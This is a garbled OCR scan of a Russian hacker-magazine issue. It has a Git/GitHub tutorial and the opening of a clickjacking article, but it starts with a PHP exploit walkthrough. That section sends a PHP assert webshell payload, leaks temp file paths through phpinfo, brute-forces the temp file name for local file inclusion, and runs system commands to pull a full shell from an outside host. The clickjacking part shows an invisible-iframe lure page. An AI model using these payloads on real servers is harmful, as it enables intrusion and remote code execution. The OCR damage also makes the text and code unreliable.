б1епате=\г\пб1е" . гапсКѲЛѲѲ) . " .ЪсЕ\г\п" ; 

$б1е.="Соп1:еп1:-Туре: 1:ех1:/р1аіп\г\п\г\п" ; 

$ б 1е.="< ? рбр аззег1:(5І= гі р5Іа5Ііе5(\$_КЕ0иЕ$ Т[ \"е\" ] )) ; ?>\г\п" ; 

$б1е. =" — ХаХЬХаХЬХаХЬХа\г\п'_^ 

$роз1: = $Рі1е; 

$гед ="Р05Т "^-раг^е*." НТТР/1.0\г\п"; 

$гед.="Ноз1:: " .$боз1:. "\г\п"; 

$гед.="Соп1:еп1:-Тѵре: ти!1=іраг1=/-Рогт-сІа1:а; 

Ьоипс1агу= ХаХЬХаХЬХаХЬХа\г\п" ; 

$гед.="Соп1:еп1:-І_еп§1:Іі : " . 5І:г1еп($ро5І:) . "\г\п" ; 

$гед . ="Соппес1:іоп : С1озе\г\п\г\п" ; 

$гед.= $роз1:; 

И отправляем его вот так: 

$Тт р = " ; 

$Ы:т1 = 1 1 ; 

$зоск = зоске1:_сгеаіе(АР_ІМЕТ, 50СК_5ТКЕАМ, 50І__ТСРХ; 

зоске1:_соппес1:($50ск л $Ііоз1: л 80); 

зоске1:_ыг і1:е ($50ск, $гед); 

шбііе ($ои1: = зоске1:_геасІ($50ск. 65536)) 

{ 

$М:т1 .= $ои1:; 

іТ( рге^ таіісіі а!1( '#=&§1:; ( . * )# ' ^ $М:т1 ^ $г ) && 
_!_епщіу($г[0] [2])) 

{ 



$1=тр = з1:п_гер1асе(аггау("=&^;" > ' '), ", $г[Ѳ] [2] ); 

} 

ь_ 

зоске1:_с1о5е($5оск) ; 

В переменной $Рі1тІ мы получаем ответ от рбріпію, а в $1тр — путь 
к Ітр-файлу. Далее достаем из пути значение <ішіііі>: 

$1:тр_Ііех = $1:тр; 

( зіігроз ( $1:тр б ех I 
$ра1:Іі = ехр1осІе( 1 : ' л $1:тр_1іех); 

$-ртр_бех = $ра1:М [1] ; } 

$1:тр_Ііех = ($1:тр_Ііех && 

рге^_та1:сІі( ' #р М р( . .Ігтр#' ,$1:тр_Ііех.$гсО) ? $гсІ[1] : 

В $1тр_Ьех будет содержаться текущий зеесі временного файла. 
Следующий этап — вызвать зависание сервера. Для этого обре- 
заем тело запроса на два символа. В результате заголовок Сопіепі- 
І_епд1б станет неверным (будет больше, чем нужно): 

$гед = зиЬз1:г($гед.0.5І:г1еп($гед)-2Ѵ. 
ге~Епате($Но5І:.$гед) : 

Отправляем все это непотребство и пробуем получить ответ. 
Хотя ответ мы вряд ли получим, скрипт останавливать не нужно. 
Далее к $1тр_Ьех прибавляем +1 и пробуем подключить получив- 
шийся файл через І_РІ. Не получается? Возможно, ты наткнулся 
на подводный камень. Имя генерит винда, а не РНР, поэтому, 
если какая-нибудь запущенная на сервере прога хочет создать 
временный файл, она также прибавляет единицу в каждом имени. 

В целом это не проблема. Просто надо попробовать прибавить +2, 

+3 и т. д. На диске, прилагаемом к журналу, ты найдешь специ- 
альный скрипт, который сам пробует найти Ітр-файл, постепенно 
прибавляя числа от 1 до 100. 

ПОСЛЕ ЗАЛИВКИ 

После обнаружения нужного файла и его успешного инклуда через 
І_РІ ты можешь выполнять команды на сервере. У тебя есть мини-шелл: 

Ир : / /зіііе . сош/сзз . рбр?б1е= /ітр/ 
рбр7хЕкНЗ&е=зуз1:еіт)ГсІіг') 

Для заливки полноценного шелла путем копирования с другого 
ресурса ты можешь воспользоваться следующей командой: 

рбр ехрі . рНр з1:ер4 /1:тр/рІір7хЕкНЗ . 1:тр 

ННр://5ІП.сот/5.1:х1: 



беге уоиг збеіі: біііір: //зіііе. сот/8149. рбр 

Здесь скрипт ехрі.рбр — это конкретный пример реализации опи- 
санной атаки, который также можно найти на нашем диске. 

ПОДВЕДЕНИЕ ИТОГОВ 

Теоретически описанный способ атаки подходит для большого 
количества движков, имеющих в наличии локальный инклуд и 
вывод рбріпІоО в админке. Например, для того же РНР І_іѵе, где при 
тадіс_дио1ез=оп или без доступа к директории ./зирег невозмож- 
но загрузить шелл. На ѴѴіпсІоѵѵз-машинах способ всегда работает 
успешно, для піх*-машин приходится использовать ВѴѴМеІег или 
другие аналоги. Напоследок хочу сказать, что подобные наруше- 
ния пространственно-временного континуума во вселенной РНР 
наверняка окажутся полезными для реализации каких-то новых 
уязвимостей. А они точно существуют, остается лишь найти их. НЕ 
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32 страницы журнала на одной полосе. 
Тизер некоторых статей. 



Ргеѵіехл/ 



РС20ЫЕ 



50 



ІРѴ6:Н0ѴѴТ0 

Время ІРѵ4 истекло. Свободных адресов 
уже нет. Надо срочно переходить на 
ІРѵб! Правда в том, что такие страшилки 
никого не пугают. И именно поэтому в 
ближайшее время никакого перехода 
на новую версию стандарта ІР не будет. 
Это сейчас банально никому не нужно: 
ни тебе, ни мне. Мы не будем платить за 
это большую абонентскую плату. Азачем 
тогда провайдерамтратитьастрономи- 
ческиесуммы на покупку/апгрейдобо- 
рудования и обучение сотрудников? Куда 
проще продолжать переводить клиентов 
за ИАТ и экономить таким образом I Рѵ4- 
адреса.Тем не менее уже сейчас есть 
несколько способов попробовать ІРѵб, 
и не просто «чтобы было», а для вполне 
ощутимой выгоды. 




РС20ЫЕ 



ВЗЛОМ 



МАІЖАКЕ 






УГНАТЬ клики 




ДЕНЬГИ НЕ ПАХНУТ: ОБЗОР ПАРТНЕРОК 


46 


Какзаставить пользователя выполнить 


68 


Изощренныеумы умудряются зарабаты- 




нужную последовательностьдействий в 




вать десятки миллионов долларов на раз- 



онлайн-банкетак,чтобыоннепочувство- личных партнерских программах. Какими 

вал подвоха? Это история про сіісіфскіпд. они бывают — читай в этой статье. 



ИЗУЧАЕМАНТИВИРУС 

Уроканатомии, на котором мы расчленим 
антивирус и посмотрим, какустроена эв- 
ристика, сигнатурный анализ, различные 
эмуляторы, проактивнаязащита и НІРБ. 



КОДИНГ 



ІІЫІХОШ 




102 



НОВЫЙ СТАНДАРТ 

Автоматический выводтипа, списки 
инициализации, лямбда-функции и 
другие нововведения С++11 — новейшего 
стандарта языка С++. 



106 



ЗАДАЧИ НА СОБЕСЕДОВАНИЯХ 

На собеседовании в боодіе тебя не будут 
спрашивать про сортировку пузырьком, 
зато предложат далеко нетривиальные 
задачи. О них наша новая рубрика. 



120 



ЧЕТЫРЕ ПРОБОИНЫ 

Удивительныеоткровения очереде 
громких взломов — кегпеІ.огд,Ііпих.сот, 
Ііпих^оипсіаііоп.огд и тувді.сот. Какэто 
моглопроизойти? 
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Коллективный разум 



ЬіІ&ЬііНиЬ: 

с места в карьер 



СИСТЕМА УПРАВЛЕНИЯ 
ВЕРСИЯМИ ЗА 5 МИНУТ 

Сколько раз я видел, как люди создают 
отдельные папочки ѵегзіопі, ѵег5Іоп2, ѵег- 
зіоп2а, раскидывая по ним исходники разных 
версий своих программ. И трясутся сделать 
любое изменение в сорцах, потому что это 
«может все испортить». Программирование 
чуть более сложного проекта, чем «НеІІо 
ѵѵогісі», без системы управления версиями — 
огромное упущение. Поэтому предлагаю 
тебе выделить 15 минут и познакомиться, 
возможно, с самой лучшей системой 
управления версиями — 6Ш 




ЧТО ТАКОЕ 6ІТ? 

БК — это система управления версий, созданная Линусом Торвальдсом 
в тот момент, когда он разрабатывал ядро Ыпих. Серьезная задача 
предъявляла серьезные требования: система должна была быть по- 
настоящему быстрой, но при этом простой в использовании. Я не буду 
сейчас рассказывать обо всем функционале БК'а и сравнивать его с 
другими системами управления версиями. Для нас сейчас важно по- 
нять главное: БК позволяет работать с твоим кодом с осознанием, что 
любое действие можно отменить. Без тени сомнения экспериментируй с 
новыми идеями, переписывая функционал, и не опасайся, что ты где-то 
можешь напортачить. Необходимость использования системы контроля 
версий должна быть такой же очевидной, как и, скажем, удобство, 
которое ты получаешь, работая с кодом не в блокноте, а продвинутой 
ЮЕ. Наша задача на сегодня — как можно быстрее взять на вооружение 
мощнейший инструмент. Поэтому предлагаю сразу приступить. 

КОНФИГУРИРОВАНИЕ 

Чтобы установить все необходимое для использования Біі и вникнуть 
в основные понятия, понадобится, максимум, минут пятнадцать. Под 
Ыпих дК часто установлен по умолчанию или легко инсталлируется 
через менеджер пакетов. Под Мас'ом, возможно, самый простой путь 
установки — запустить дК-озх-іпзІаІІег. Для пользователей ѴѴіпсіоѵѵб 
разработчики предлагают готовые для установки дистрибутивы, 
которые все сделают за тебя (во время установки мастер задаст не- 
сколько вопросов — можно все настройки оставить по умолчанию). 
Для конкретики я далее буду рассказывать про использование БК 
под ѴѴіпсІоѵѵз, но разницы, как ты понимаешь, нет никакой. Мы будем 
работать с Біі через командную строку. В дальнейшем ты сможешь 
использовать БКБІІІ, графическую оболочку для работы с Біі, или ин- 
теграцию ЮЕ и дК, но на первых порах, для понимания основ, лучше 
работать через консоль. 

Исходные коды БК хранит в репозиториях. Каждое внесенное 
изменение в репозиторий кода называется соттК. Это важные по- 
нятия. Каждый соттК сопровождается информацией о человеке, ко- 
торый его сделал (обычно имя и адрес). Поэтому выполним некоторую 
идентификацию себя: 

сопб)Е; --^ІоЬаІ изег.пате "Уоиг Мате" 

§гЬ сопб% --%1оЬа1 изег.етаіі "ѵоигфетаіі . сот" 

Чтобы придать консоли большую наглядность, можно также вклю- 
чить специальный режим подсветки: 

сопб§ --§1оЬа1 соіог.сіі-р-р аи1:о 
дгЬ соп6)е; --{ЗІоЬаІ соіог. Б^аіиз аігЬо 
§І1: сопб§ --§1оЬа1 соіог . Ьгапсіі аігЕо 
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СіІ&СііНиЬ: с места в карьер 




Создаем репозиторий и делаем первый соттіі 



ОСНОВНЫЕ КОМАНДЫ ДЛЯ РАБОТЫ 

Команда «діі сопіід», которую мы сейчас использовали, — одна из 
множества. Но для полноценной работы нам надо хорошо понимать 
многие другие. Лучше всего освоить их на практике. Создадим с 
помощью консоли директорию, где будут располагаться файлы про- 
екта, и попробуем создать в нем наш первый репозиторий с простым 
кодом (хотя, конечно, чем больше проект, тем больше пользы несет в 
себе система управления версий). 

діі іпіі 

Чтобы начать проект діі, необходимо выполнить команду «іпіі». Это 
инициализирует создание Сіі-репозитория в этой папке (в файловом 
менеджере ты увидишь появившуюся папку .діі). Если говорить про- 
сто, это что-то вроде книги с историей изменений. Она содержит ак- 
туальную версию кода и историю всех изменений. Обрати внимание, 
что путь в терминале Оіі ВазЬ после выполнения команды дополнил- 
ся еще словом («тазіег»). Таким образом отображается ветка кода, 
с которой ты в настоящий момент работаешь. «Ветка?» — спросишь 
ты. Думай о проекте как о дереве. Проект (дерево) один, но веток у 
него много. Если даже одна ветка сломается (программист что-то ис- 
портит), то другие ветки будут на месте, и с деревом — то же. Между 
ветками в любой момент можно переключиться. 

діі асісі 

Для дальнейшей работы нам надо сделать наш первый соттіі. 
Соттіі — это просто указатель системе сделать метку в истории 
кода, сохранив изменения. Но прежде чем мы сможем это сделать, 
нам необходимо переместить все файлы, которые должны стать ча- 
стью соттіі'а, в так называемую зону зіадіпд агеа. В ней находятся 
файлы для следующего коммита. Возможно, ты не хочешь коммитить 
в репозиторий все текущие изменения — этот промежуточный этап 
как раз и создан для того, чтобы изящно обработать такую ситуацию. 
Итак, добавляем файлы в зіадіпд агеа: 

діі асісі. 

Здесь «.» означает «добавить все». Но мы также можем добавить 
лишь некоторые файлы из директории: 

§іі асісі * о‘б 
? іі асісі іпсіех . рИр 

діі соттіі 

После этого мы можем сделать наш первый соттіі и внести, таким об- 
разом, изменения в репозиторий (в нашем случае — добавить файлы): 

діі соттіі 

Эта команда перенесет все файлы из зіадіпд агеа в репозиторий и 
обновит историю изменения проекта. Каждый соттіі должен иметь 
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сопроводительный текст, в котором, как подразумевается, должно 
быть указание на то, какой код был в коммите. По умолчанию Оіі от- 
крывает привычный для линуксоидов редактор Ѵіт (да-да, даже под 
виндой). Если ты с ним незнаком, то просто нажми <і> (чтобы перейти в 
режим редактирования), далее набирай сообщение — скажем, «Іпіііаі 
Соттіі». После того, как ты написал сообщение, нажми <Е5С> и на- 
бери «:ѵщ», чтобы сохранить изменения и выйти из редактора. Готово! 

Сіі предлагает несколько опций, чтобы выполнять соттіГы 
быстрее. Во-первых, флаг «-т» позволяет прямо из консоли указать 
сопроводительное сообщение для соттіі'а: 

§іі соттіі: -т " іпіііаі соттіі 

Другой флаг — «-а» — позволяет избежать зіадіпд агеа и сразу 
сделать соттіі всех изменений в репозиторий. В действительности 
Сіі просто сам переносит код в зіадіпд агеа и сразу коммитит все 
модифицированные файлы. Флаги «-т» и «-а» можно использовать 
вместе: 

§іі соттіі: -ат 1 ирсіаіе іо іпсіех. рИр ' 

діі 5ІаІиз 

Команда «діі зіаіиз» позволяет тебе увидеть текущий статус твоего 
кода. Попробуй выполнить ее. Так как мы только что выполнили 
соттіі, то «діі зіаіиз» покажет, что никаких изменений не произо- 
шло. Но если продолжить работать над кодом и еще раз выполнить 
ту же команду, то ты увидишь, что статус изменился. Если, к примеру, 
мы выполним команду «діі асісі», добавив какие-то файлы в проект, 
то в информации о статусе появится новая секция — «сЬапдез Іо Ье 
соттіііесі». 

діі ЬгапсКі / діі сііескоиі 

Эти команды используются реже, но они очень важные. Представь 
ситуацию: работаешь ты над любимым проектом вместе с одним че- 
ловеком, и тут тебе приходит в голову идеальная идея, которую никак 
не хочет поддерживать твой начальник. Причем идея настолько ре- 
волюционная, что изменить проект придется если и не кардинально, 
то близко к тому. Сіі позволяет быстро сделать ветку проекта, кото- 
рая может жить своей собственной жизнью и развиваться по своему 
пути. Ты можешь сделать так называемый ЬгапсЬ, с кодом которого 
можно производить любые эксперименты, будучи уверенным, что 
стабильный и выверенный код основной ветки будет в сохранности. 

§іі Ьпапсб 

Если просто выполнить команду «ЬгапсЬ», то система выдаст 
список всех веток. Изначально у нас есть только одна ветка тазіег 
ЬгапсЬ — это то, с чего начинается любой репозиторий. Для того 
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РС20ЫЕ 



Асій геіигп іп іКе оНзеі зиррогі Іезіз И Ше Ьойу із поі ргезепі іп 1га... 
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Вгсѵѵ&е с о сіе 



Ду ііттуѵѵіі аиШогесі 2 сіауз адо 
БКоѵ/іпд і сНапдей Ше «Ші 6 айсШолз агкіо йеШзпз, 
• агс/аиррогі-за 



1 рогепі 52 аГе 20660 сошіі 9Шсс1ѣЪс5аЪ77Ъ52№{?7сдАВШсаШЪЛЪ4 



агсЛи ррог ^.35 

II - 266,6 + 266/12 II іОиегу.вирроП: ■ (Еипсъіапп { 

// кссопзігись а соп^аіпег 

Ьойу = досшпеп Ь , де і Е Істе :И: ззу гадмагое ( И Ьскіу " ) [ 0 ] ; 

( !Ьогіу ) { 

// кеьигп Іог ^гатеееь Йосз ьЬаі еіопЧ Ьаѵе а Ъсхіу 
ІІ тЬезс іезіз сагтоі Ьс Йопе 
геіигп; 

> 

сопъаіпег - йосилизги. < сгсаксзісшспі I Міѵ " ) ; 

солЪаіпег.зіуІе.сззТехЪ е ѵЬ + И ѵі<ііН:0?НеідЬі:С;розіІіоінзіаЪіс;Іор;0;лшгдіпТор: 11 + согШагділТор + "рх"; 
Ьойу.іпаегьаеіеге( сопбаіпег, Ьсхіу.іігзьсыісі ); 
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Смотрим коммит на гитхабе 



чтобы создать новую ветку, используется та же самая команда 
«ЬгапсЬ», но с указанием имени создаваемой ветки: 

^і~Е Ьгапсб ехрегітепѣаІВгипсІі 

Имей в виду, что после создания ветки біі не переключит тебя на 
нее автоматически (в терминале по-прежнему будет маячить указа- 
ние на тазіег-ветку). И вот здесь используется команда «сбескоиі», 
чтобы сделать активной указанную ветку: 

^і~Е сМескои* ехрегітеп*а1ВгипсН 

Впрочем, если хочешь создать новый ЬгапсЬ и сразу на него пере- 
ключиться, то можно использовать такую конструкцию: діі сбескоиі 
-Ь ЬгапсЬ пате. Так или иначе, мы работаем с новым ЬгапсЬ'ем: 
можем теперь как угодно менять код и стандартными командами за- 
комитить изменения: 

§І1: асісі . 

§І1: соттіі: -т 1 ІМем апсЫТесиТпе іпТгосІисесІ ' 

Однако эксперименты экспериментами, но работу над стабильной 
веткой никто не отменял. Надо возвращаться к привычной работе. 
Как это сделать, ты уже, вероятно, понимаешь: 

діі: сЬескоиІ: шазііеп 

Все возвращается на свои места: восстанавливаются используе- 
мые в тазіег-ветке файлы, а сорцы, уникальные для нашей ветки, 
больше не отображаются в рабочем каталоге. 

діі тегде 

Работа над альтернативной веткой продолжается. В один прекрас- 
ный день реализованные в ней фичи становятся настолько хороши, 
что с твоими доводами соглашается начальник и даже предлагает 
добавить их в тазіег-ветку. Как раз для этих целей используется 
команда діі тегде. В тот момент, пока ты работаешь с тазіег ЬгапсЬ, 
выполни команду: 



§іі: тегде ехрегітепІіаІВгипсІі 

В результате весь код из ехрептепІаІВгипсЬ станет частью 
основной ветки проекта. 

діі Іод / діік 

Позже тебе, наверное, будет интересно посмотреть историю комми- 
тов, которые были выполнены на протяжении жизни проекта. Для 
этого предназначена команда «Іод». 

1о§ 

Консоль выдаст список всех комитов, которые были сделаны, 
отсортировав их в обратном порядке. Еще более наглядную историю 
можно получить в графическом виде («діі Іод — дгарЬ») или даже ис- 
пользовать специальную 6111 -программу: 

діі: к --аіі 

Это браузер по репозиториям. Ты можешь легко перемещаться 
среди своих коммитов, отслеживая, что именно было изменено в 
ходе каждого из них. 

6ІТНІІВ: ХОСТИНГ РЕПОЗИТОРИЕВ 

Теперь, когда ты в целом представляешь, с какой стороны подой- 
ти к біі и как его можно использовать, предлагаю взглянуть на те 
аспекты работы с системой управления версий, которые связаны с 
коллективной работой, біі предлагает мощнейшие механизмы, чтобы 
расшарить свой код и дальше работать с ним совместно. Существует 
целый ряд специальных сайтов, на которых хостятся репозитории 
біі. Но, наверное, самый прогрессивный и совершенно точно — 
самый популярный тут бііНиЬ ( ѵѵѵѵѵѵ.аііЬиЬ.сот ). Просто полистай 
этот номер и посчитай, сколько проектов, на которые мы ссылаемся, 
хостятся на этом ресурсе. 

Существует несколько типов аккаунтов, которые можно зареги- 
стрировать на бііНиЬ, в зависимости от того, что тебе необходимо. 
Сервис зарабатывает на том, что предоставляет хостинг для про- 
ектов на біі и берет за это определенную плату. Однако проекты, 
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ЗіІ&ЗііНиЬ: с места в карьер 



которые разрабатываются с открытыми исходниками, могут ис- 
пользовать сервис совершенно бесплатно. Вначале нам доста- 
точно бесплатного «ореп зоигсе» аккаунта, поэтому смело жмем 
«5ідп ІІр» и регистрируемся. Помимо стандартных действий, тебе 
необходимо будет указать свой публичный 55Н-ключ. Поэтому его, 
во-первых, нужно сгенерировать (через РиТТѴ) и далее указать в 
настройках ЗііНиЬ-аккаунта. Найди там поле «РиЫіс Кеуз» и клик- 
ни на «АсИ апоіЬег риЫіс кеу». Просто скопируй сюда содержимое 
файла с ключом и сохрани изменения. Можешь сразу попробовать 
подключиться по 55Н к серверу, чтобы проверить соединение. 

Если ты правильно введешь парольную фразу, которую указывал 
при создании ключа, то соединение будет установлено. Кстати, 
ввод парольной фразы можно автоматизировать. Подробнее об 
этом — в специальном Мануэле ( ЬеІр.дііЬиЬ.сот/ѵѵогкіпд-ѵѵііЬ- 
кеѵ-разз-рЬгазез ). 

діі сіопе 

Весь Зіі крутится вокруг репозиториев, а задача ЗііНиЬ — сделать 
такие репозитории доступными по всему миру. Представим для 
начала, что мы нашли какой-то проект и хотим сделать копию его 
репозитория у себя, чтобы начать с ним работу (ну, скажем, добавить 
какую-то фишку, которой в оригинальном коде нет). ЗііНиЬ позволяет 
сделать клоны проекта. Возьмем для примера )0иегу. Зайдя на его 
ЗііНиЬ-страницу, ты найдешь там специальный адрес «сіопе ІІРІ_». 
Этот ІІРІ_ необходим нам, чтобы сделать копию (в терминах Зіі — 
клон) проекта, воспользовавшись командой сіопе: 

^І1= сіопе ^і1=://^і1=ІіиЬ.сот/ідиепѵ/ідиегѵ.^і1= 

Зіі создаст директорию ) ц и е гу и скопирует весь репозиторий кода 
на твой компьютер. С этого момента у тебя есть не только код, но и 
полная история изменений проекта — можешь проверить это уже 
знакомой командой «діік-аіі». 

діі ризЬ 

Теперь представим обратную ситуацию. Ты долгое время работал 
над проектом локальной с использованием діі, а теперь хочешь 
расшарить его для всех желающих. Нет проблем! Заходи на ЗііНиЬ 
и создавай новый репозиторий («Сгеаіе Рерозііогу»), вводи на- 
звание проекта и описание. В случае если бы у тебя был платный 
аккаунт, можно было бы указать тип репозитория — публичный 
или закрытый. После создания репозитория ЗііНиЬ автоматически 
выдаст тебе «риЫіс сіопе 11Р1_» для тех, кто захочет скачать твой 
проект, а также «регзопаі сіопе ІЭ РЬ» для тебя самого. Теперь 
можно перенести в репозиторий на ЗііНиЬ свой локальный репо- 
зиторий. 

егЬ гетсгЬе асИ огі§іп §гЬ@§гЫіиЬ. сот: аЬиг^езз/Му-ГігзІ:- 
Сі1:НиЬ-Керо.§і1: 

§І1: ризЬ огі§іп тавТег 

Первой командой мы добавляем удаленный репозиторий. В 
нашем случае мы даем имя огідіп и привязываем его к нашему 
«ргіѵаіе сіопе ІІРІ_». Второй же командой — діІ-ризЬ — мы отправ- 
ляем все из ветки тазіег в огідіп (т. е. наш репозиторий ЗііНиЬ). 
Поздравляю, теперь исходники твоего проекта доступны всему 
миру. Можешь открыть ЗііНиЬ-страницу своего проекта и в этом 
убедиться. 



еііЬиЬ 
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Аккаунт пользователя — часть социального кодинга. 



СОЦИАЛЬНЫЙ кодинг 

Важно понимать одну вещь. ЗііНиЬ — это не просто Зіі-хостинг. Это 
еще ведущий проект, который пропагандирует понятие «социального 
кодинга». И тут дело не только в том, что удобно работать с чужи- 
ми репозиториями — не менее важны условия, которые создаются 
людям для их общения друг с другом, для участия в чужих проектах 
и т. д. Я знаю немало людей, которые, имея свободное время, хотели 
потратить его на развитие хорошего, пусть в большей части и чужого 
проекта. ЗііНиЬ — лучшее место, где такой проект можно найти. 

Если нажать на главной странице «Ехріоге ЗііНиЬ», то на вкладке 
«Ьапдиадез» ты увидишь, в каких проектах наибольшее количество 
активных участников для каждого из интересующих тебя языков про- 
граммирования. Когда ты смотришь страницу чужого репозитория, то 
прямо под панелью «Поиск» располагаются кнопки «ѴѴаІсЬ» и «Рогк»: 

• Рогк проекта означает, что ты получаешь полную копию его репо- 
зитория и можешь делать с ней что хочешь; 

• ѴѴаІсЬ означает, что любые активности и действия, связанные с 
этим проектом, будут отображаться на твоей ІазЬЬоагсІ (каки в со- 
циальных сетях, это лента новостей). 

Для любого проекта отображается, сколько людей его «форкну- 
ли» или сколько людей за ним наблюдают. К слову, следить можно 
не только за интересными проектами, но и классными разработчи- 
ками, от которых можно многому научиться. Просто нажми на кнопку 
«РоІІоѵѵ» в профиле интересующего тебя кодера и будешь получать 
новости о любых изменениях, которые человек внес в код. Это со- 
циальная сеть — никто не мешает отправить тебе сообщение. 

На странице профайла будут еще две кнопки — «РиІІ Рециезі» и 
«Асітіп». Админка позволяет изменить ветку по умолчанию, создать 
страницу проекта, включить дополнительные возможности (ѵѵікі, 
боѵѵпіоасі, іззиез) и т. д. В зависимости от добавления коммитов в 
проекты, которые ты форкнул, они могут попасть в оригинальный 
репозиторий или нет. Их сможет увидеть владелец репозитория, но 
чтобы он точно обратил на них внимание, как раз необходима кнопка 
«РиІІ гедиезі». 



діі риіі 

Когда владелец ризЬ'ит новый коммит в репозиторий, ты можешь 
выполнить команду діі риіі для того, чтобы получить апдейты. По сути 
это комбо двух команд: діі ІеІсЬ (получить изменения) и деі тегде 
(применить изменения для твоей локальной копии): 

-Реіісіі ирз1:геагп таз1:ег 
еі~Е тег%е ирзіігеат/тазііег 



роі_і_оѵѵ6ітніів 

ЗііНиЬ стремительно развивается. Внести изменения в коде теперь 
можно прямо через веб-интерфейс, к Зіі'у добавилась поддержка 
других систем управления версиями. Это не остается незамеченным. 
В проекте уже участвуют почти 1,1 миллиона человек, размещая бо- 
лее 3 миллионов репозиториев. Предлагаю тебе если и не использо- 
вать сервис ЗііНиЬ, то хотя бы взять на вооружение систему контроля 
версий Зіі. ИИ 
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СиСЮАСКШб: ВЧЕРА, СЕГОДНЯ, ЗАВТРА 



РС20ЫЕ 



Коллективный разум 



Удивительно, но если спросить: 
«Что такое кликджекинг?», то 
многие просто разведут руками. 
Тем не менее, эта атака напря- 
мую касается любого пользова- 
теля, и более того — невозмож- 
на без его непосредственного 
участия. Чудеса изощренности 
позволяют использовать старый 
подход для новых векторов атак 
Для сайта кликджекинг может 
обернуться удаленным шеллом 
в руках злоумышленника, а для 
клиента — неожиданно пере- 
данным в Сеть изображением с 
веб-камеры. 



ѵшщ 

Подробные 
доклады о 
различных аспектах 
реализации 
кликджекинга: 

• ѵѵѵѵѵѵ.зесіііеогу. 
сот/сіісіфскіпд.іііпп: 

• ѵѵѵѵѵѵ.сопіехііз. 
сот/гезоигсез/ 
уѵНііе-рарег5/сІіск- 
іаскіпо: 

• уѵ2зрсопГ. 
сот/2010/рарегз/ 
р27.рсН: 

• ѵѵѵѵѵѵ.оѵѵазр.ога/ 
іпс!ех.рИр/СІіск)аск- 
іпо . 



ШРЫШС 



Информация 
приведена в 
ознакомительных 
целях. Не используй 
ее противозаконно. 



ЧТО ТАКОЕ СЫСЮАСКІМ6? 

Чтобы этот вопрос не застал тебя врасплох, разберемся с самим 
понятием кликджекинга. Если переводить сііскіаскіпд дословно, то 
выйдет что-то вроде «угон кликов». Пользователь думает, что кли- 
кает в интересующем его месте сайта, но на самом деле осущест- 
вляет клик на совершенно другой странице! Как это возможно? 
Вспомним несколько невинных свойств НТМІ_-разметки, которые 
используются повсеместно: 

• веб-страница может содержать в себе другую страницу с помо- 
щью тега <і1тате>; 

• НТМЬэлемент может быть полностью видимым, полупрозрачным 
или невидимым; 

• если НТМЬэлементы накладываются другдруга, то порядок 
наложения определяется с помощью специального параметра 
2 -іпбех. 

Получается, любой НТМЬэлемент может находиться выше 
других элементов страницы и при этом быть невидимым! Учитывая, 
что таким элементом может быть страница, загруженная в іітате, 
сразу становится понятным подход, на котором строится атака. 
Злоумышленник открывает в невидимом іітате интересующую 
его веб-страницу и располагает его поверх той страницы, которая 
отображается в браузере пользователя. В результате жертва вы- 
полняет клик не на странице, где находится, а на невидимом іітате, 
который с помощью С55-параметра орасііу сделали невидимым и 
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Угнать клики 



ІасеЬоок 



Г СігІ \ѵИо Нагі зех ѵѵііИ 5000 теп 

ѴѴаІЗ ЖГо СігІ 



Зесигігу СІіеск 



ѴішядІ 

Оие (о іііе тсгеаяес! питЬе г о? 5рат Ьаг4 р^Шпд ехіга ІоасІ он оиг 
цпиПр ріеа*е ѵегНу Ніа: уои аге а геаі НЦМДМ. 

ГоИоѵг іНе ішігисГІоп5 Ьсіпѵ іо ргосесгі. 



□■ск Ь іЖоп і іп іЬіь оссіс г 3,1.2 

ш 



5иЬтЙ 




Со л се 1 


I 





Реализация кликджекинга для "угона" последовательности кликов 




Пйльзоаагтель отвечает ни вопросы, в 
Элтон нажимает кнопку Мех I. Все клики 
перехватываются невидимым фрейма м . 



Спуфингформ 



разместили поверх других элементов с помощью параметра 2 -іпбех. 
Важно, чтобы область страницы, куда, скорее всего, кликнет 
пользователь, совпадала с тем местом на невидимом сайте, где 
злоумышленник хочет получить клик. Для этого используется еще 
одно свойств С55-разметки — абсолютное позиционирование. 

КАК ЭТО ВЫГЛЯДИТ? 

Для осуществления атаки пользователь заманивается на специ- 
ально составленную страницу с внедренной сІіск]аскіпд- на груз кой. 
Возьмем самый банальный пример, когда жертве сообщается о 
непонятно откуда взявшемся выигрыше с предложением пройти по 
ссылке, чтобы узнать подробности: 

<ІтЕт1> <Ы 5І:у1е="1:ех1:-а1і^п:сеп1:ег">Большой кѵш</1і1> 

<р 5І:у1е="-Роп1:-5І2е: 38рх; ">Поздравляем! Вы миллионный 
посетитель<Ьг>За это вам полагается приз!</р> 

<!-- Невидимый і-Ргате поверх других элементов --> 

<сііѵ 5І:у1е= ,, 2-іпсІех: 10; орасі1:у :0; розі1:іоп:аЬ50Іи1:е; 
ІоріѲрх; "> 

<і-Ргаше 5Сго11іп^="по" з1:ѵ1е="ѵ\/ісІ1:Іі:8ѲѲрх; Иеі^Ы:: БѲѲрх; " 
5гс="ІтЫр: //млм. Ьіп^.сот/зеагсН?д=Ьиу+кіпсІ1е+аітіа20п ,, > 
</і-Ргате> 

</сііѵ> 

<!-- Зазывающая надпись и реклама на невидимом і-Ргате 

позиционируются друг под другом --> 

<с!іѵ 5І=ѵ1е="ро5І1=іоп:аЬ501и1=е; 1=ор:200рх; 1е-Р1=:21Ѳрх; "> 

<а М ге-Р= "#" > Как получить приз?</а> 

</сііѵ> 

< /Ы=т1 > 

Если пользователь поведется и действительно нажмет на ссылку, 
то кликнет на рекламном объявлении с Віпд'а. Таким образом злоу- 
мышленник получит переход на известный магазин и будет получать 
проценты с каждой следующей покупки пользователя. Вообще, клик 
по рекламным объявлениям и переходы по партнерским — основной 
способ монетизации кликджекинга. Атаку также часто используют 
для спама в социальных сетях, когда пользователь, ничего не по- 
дозревая, кликает на кнопки Реіѵѵіі или І_іке, которые относятся к 
сообщениям, подсунутым ему злоумышленником. Но это не слишком 
интересно, перейдем лучше к действительно интересным кейсам 
использования кликджекинга. 



КЛИКДЖЕКИНГ ДЛЯ ШЕЛЛА 

Как тебе, например, такой вектор — получить с помощью клик- 
джекинга веб-шелл на сервере? Еще недавно это было сложно 
представить, однако Эндрю Хортон опубликовал готовый спло- 
ит, который легко проворачивает подобную атаку. Последняя, 
естественно, нацелена на конкретное веб-приложение, но зато 
какое — популярнейший блогерский движок ѴѴогсІРгезз. Возмож- 
ность для атаки открывает даже не столько сам движок, сколько 
подключаемые расширения. Если ты когда-нибудь пользовался 
ѴѴогсІРгезз'ом, то тебе хорошо известно, насколько упрощена про- 
цедура установки аддонов. Прямо в админке сайта можно открыть 
репозиторий, выбрать расширение и на странице с описанием 
